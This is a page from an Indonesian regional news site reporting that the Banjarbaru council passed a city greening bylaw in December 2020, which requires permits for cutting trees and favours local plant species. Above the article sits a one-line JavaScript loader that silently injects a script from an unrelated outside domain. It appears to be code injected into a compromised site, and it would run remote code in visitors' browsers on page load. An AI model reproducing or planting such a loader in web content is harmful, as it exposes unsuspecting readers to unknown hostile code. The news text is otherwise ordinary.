(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: DPRD BANJARBARU

Perda Penghijauan Kota Disahkan, Diatur Perizinan Penebangan Pohon hingga Pemilihan Jenis Tanaman


KANALKALIMANTAN.COM, BANJARBARU – Peraturan Daerah (Perda) tentang penyelenggaran penghijauan kota menjadi salah satu dari 4 Perda yang disahkan DPRD Banjarbaru, Rabu (30/12/2020) siang.

Payung hukum yang mengarah pada sektor lingkungan itu, merupakan inisiatif para wakil rakyat di DPRD Banjarbaru. Dalam hal ini, Pansus III yang bertugas membahas dan mengkaji tentang aturan yang tertera dalam isi Perda tersebut.

Ketua Pansus III Takyin Baskoro mengungkapkan, pembentukan Perda tentang penghijauan kota ini dilatarbelakangi atas pentingnya pengelolaan, pelestarian dan perlindungan hasil-hasil penghijauan kota yang sudah ada. Sehingga, ke depannya tidak mengalami kerusakan.

“Untuk itu penting memberikan payung hukum bagi penyelenggaran penghijauan kota yang lebih terencana dan berkualitas, yang memungkinkan teejadinya sinergi yang lebih. Baik antara pemerintah dengan peran serta seluruh lapisan masyarakat,” jelasnya.

“Dengan adanya Perda ini, kata Baskoro, harapannya juga akan berdampak pada percepatan target Ruang Terbuka Hijau (RTH) secara nasional sebesar 30 persen,” lanjut Baskoro.

Sejumlah stakeholder di lingkungan Pemerintah Kota (Pemko) Banjarbaru juga turut terlibat dalam pembahasan Perda tentang penghijauan kota. Seperti halnya, Dinas Lingkungan Hidup, Dinas Perumahan dan Pemukiman (Diperkim), hingga Dinas Pekerjaan Umum dan Penataan Ruang (PUPR).

Baskoro menerangkan setidaknya 7 hal yang menjadi substansi di dalam Perda penghijauan kota. Salah satunya, mengatur tentang pemilihan jenis tanaman, dengan mengutamakan jenis tanaman lokal. Lalu ada pula, tentang ketentuan penanaman, pemeliharaan dan perlindungannya.

“Ada juga mengatur tentang ketentuan perizinan penebangan pohon dan pemindahan pohon. Ini cukup krusial, karena mengingat aksi penebangan pohon semena-mena kerap terjadi di Banjarbaru. Dengan adanya Perda ini, maka untuk menebang pohon harus melalui izin dulu. Jika tidak, ada sanksi yang dikenakan,” lugasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

Al Ghifari

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

16 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

16 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

17 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

2 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

2 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

2 hari ago

This website uses cookies.